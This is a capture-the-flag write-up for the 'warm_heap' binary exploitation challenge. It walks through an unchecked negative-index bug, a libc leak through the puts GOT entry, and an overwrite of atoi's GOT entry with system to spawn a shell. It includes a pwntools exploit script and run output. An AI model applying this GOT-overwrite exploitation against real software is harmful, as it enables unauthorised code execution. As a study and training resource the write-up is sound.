warm_heap

Attachment: warm_heap libc.so.6 xpl.py

CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
---------------------------
1) Add note
2) Edit note
3) Remove note
4) View note
5) Exit
>>

Just added this writeup to show an unintended solution for this challenge. At least the flag, you’ll get for solving the challenge points to using UAF for it, but there’s another (much shorter) way to do this.

When a note gets added, you can specify the size for the note, which will be stored in its own array.

---------------------------
1) Add note
2) Edit note
3) Remove note
4) View note
5) Exit
>> 1
Enter index: 0
Enter size: 100
Enter input: AAAA
1) Add note
2) Edit note
3) Remove note
4) View note
5) Exit
>> 1
Enter index: 3
Enter size: 200
Enter input: BBBB

This will resulting in the following data in the bss

0x6020c0 <sizes>:     0x0000000000000064  0x0000000000000000 <== Size of 0
0x6020d0 <sizes+16>:  0x0000000000000000  0x00000000000000c8 <== Size of 3
0x6020e0 <sizes+32>:  0x0000000000000000  0x0000000000000000
0x6020f0 <sizes+48>:  0x0000000000000000  0x0000000000000000
0x602100 <sizes+64>:  0x0000000000000000  0x0000000000000000
0x602110:             0x0000000000000000  0x0000000000000000
0x602120 <table>:     0x0000000000acd010  0x0000000000000000 <== ptr to 0
0x602130 <table+16>:  0x0000000000000000  0x0000000000acd080 <== ptr to 3
0x602140 <table+32>:  0x0000000000000000  0x0000000000000000
0x602150 <table+48>:  0x0000000000000000  0x0000000000000000
0x602160 <table+64>:  0x0000000000000000  0x0000000000000000

Now, let’s take a look at the edit function:

int edit()
{
  printf("Enter index: ");
  int idx = get_int();
  
  if ( !verify(idx) )
    return 1;

  printf("Enter input: ");
  get_inp(table[idx], sizes[idx]);
  return 0;
}

int verify(signed int idx)
{
  if ( idx <= 9 )
    return 1;

  puts("Invalid index");
  return 0;
}

If you paid attention, you’ll might see, that the verify function doesn’t check for negative indices. So we can access table entries before the table entry itself.

Also we can specify arbitrary values for the sizes of an entry, so why not just create an entry with a size of 0x602020 (you see where we’re going?).

We can adjust the sizes of an entry, so that it results in an address of a got entry. Then we’ll specify a negative value, so the size is used as a note address. Since the binary also uses the negative index on the size array, it will also look before the size array (where the got table happens to be :)) and use an address (better said, the lower dword of the address) from the got table as the size for our memo.

Let’s do the basic skeleton and create two notes, with sizes 0x602020 and 0x602050.

#!/usr/bin/python
from pwn import *
import sys

HOST = "35.227.33.93"
PORT = 9999

def add(idx, size, content):
    r.sendline("1")
    r.sendlineafter("index: ", str(idx))
    r.sendlineafter("size: ", str(size))
    r.sendlineafter("input: ", content)
    r.recvuntil(">> ")

def edit(idx, content):
    r.sendline("2")
    r.sendlineafter("index: ", str(idx))
    r.sendafter("input: ", content)
    r.recvuntil(">> ")

def exploit(r):
    log.info("Fill size array for leaking libc address")

    add(0, 0x602020, "AAAA")   # for libc leak
    add(2, 0x602068, "AAAA")   # for atoi overwrite
    
    r.interactive()
    
    return

if __name__ == "__main__":
    e = ELF("./warm_heap")
    libc = ELF("./libc.so.6")

    if len(sys.argv) > 1:
        LOCAL = False
        r = remote(HOST, PORT)
        exploit(r)
    else:       
        r = process("./warm_heap", env={"LD_PRELOAD": "./libc.so.6"})
        print util.proc.pidof(r)
        pause()
        exploit(r)

This will change the data in the bss to

0x602000: 0x0000000000601e28  0x00007fd9265b5168 <== got table
0x602010: 0x00007fd9263a5870  0x0000000000400696 
0x602020: 0x00007fd926033690  0x00000000004006b6
0x602030: 0x00007fd926019800  0x00000000004006d6
0x602040: 0x00007fd9260bb220  0x00007fd925fe4740
0x602050: 0x00007fd925ffaeb0  0x00007fd926048130
0x602060: 0x00007fd926033e70  0x00007fd925ffae80
0x602070: 0x0000000000400746  0x0000000000000000
0x602080: 0x0000000000000000  0x0000000000000000
0x602090: 0x0000000000000000  0x0000000000000000
0x6020a0: 0x00007fd926389620  0x0000000000000000
0x6020b0: 0x0000000000000000  0x0000000000000000
0x6020c0 <sizes>:     0x0000000000602020  0x0000000000000000 <== size of note 0 (=> puts got)
0x6020d0 <sizes+16>:  0x0000000000602050  0x0000000000000000 <== size of note 1 (=> atoll got)
0x6020e0 <sizes+32>:  0x0000000000000000  0x0000000000000000
0x6020f0 <sizes+48>:  0x0000000000000000  0x0000000000000000
0x602100 <sizes+64>:  0x0000000000000000  0x0000000000000000
0x602110: 0x0000000000000000  0x0000000000000000
0x602120 <table>:     0x00007fd9259c1010  0x0000000000000000
0x602130 <table+16>:  0x00007fd9253be010  0x0000000000000000
0x602140 <table+32>:  0x0000000000000000  0x0000000000000000
0x602150 <table+48>:  0x0000000000000000  0x0000000000000000
0x602160 <table+64>:  0x0000000000000000  0x0000000000000000

So, now we have two valid and known addresses in the bss (though in the sizes array).

Now, since we can specify negative indices, we can access the “note” in the first sizes entry by passing -12 as the note index. The binary will then try to print the note at that address, which happens to be the got entry for puts.

LIBCLEAK = u64(view(-12).ljust(8, "\x00"))
libc.address = LIBCLEAK - libc.symbols["puts"]

log.info("LIBC leak      : %s" % hex(LIBCLEAK))
log.info("LIBC           : %s" % hex(libc.address))

Since we now have successfully resolved libc, we can just use the same functionality to overwrite values in the got entry. We just have to make sure, that it hits a good value as size for our size entry ?-)

The binary will search for the size at offset -0x60 to the current size slot.

That’s the reason, I put the second address into the third slot of the size array. This will make it use the content of 0x602070 as size for read. At 0x602070 is exit got, which isn’t resolved by now, so it will always be 0x400746 and thus the read will succeed.

log.info("Overwrite atoi got with system")
edit(-10, p64(libc.symbols["system"])[:6])

Really? UAF? Instead of just overwriting atoi got directly? :D

So, atoi will be called to convert the selected menu entry to a number, so we just have to select the option /bin/sh.

log.info("Select /bin/sh to trigger shell")
r.sendline("/bin/sh")
[*] '/vagrant/Challenges/inctf/pwn/warm_heap/warm_heap'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/vagrant/Challenges/inctf/pwn/warm_heap/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process './warm_heap': pid 1803
[1803]
[*] Paused (press any to continue)
[*] Fill size array for leaking libc address
[*] LIBC leak      : 0x7fe97e452690
[*] LIBC           : 0x7fe97e3e3000
[*] Fill size array for overwrite got entry
[*] Add chunk with size /bin/sh to trigger shell
[*] Switching to interactive mode
$ whoami
vagrant

Flag was inctf{U4f_f0r_l1f3_m8} (the flag was a little confusing after this)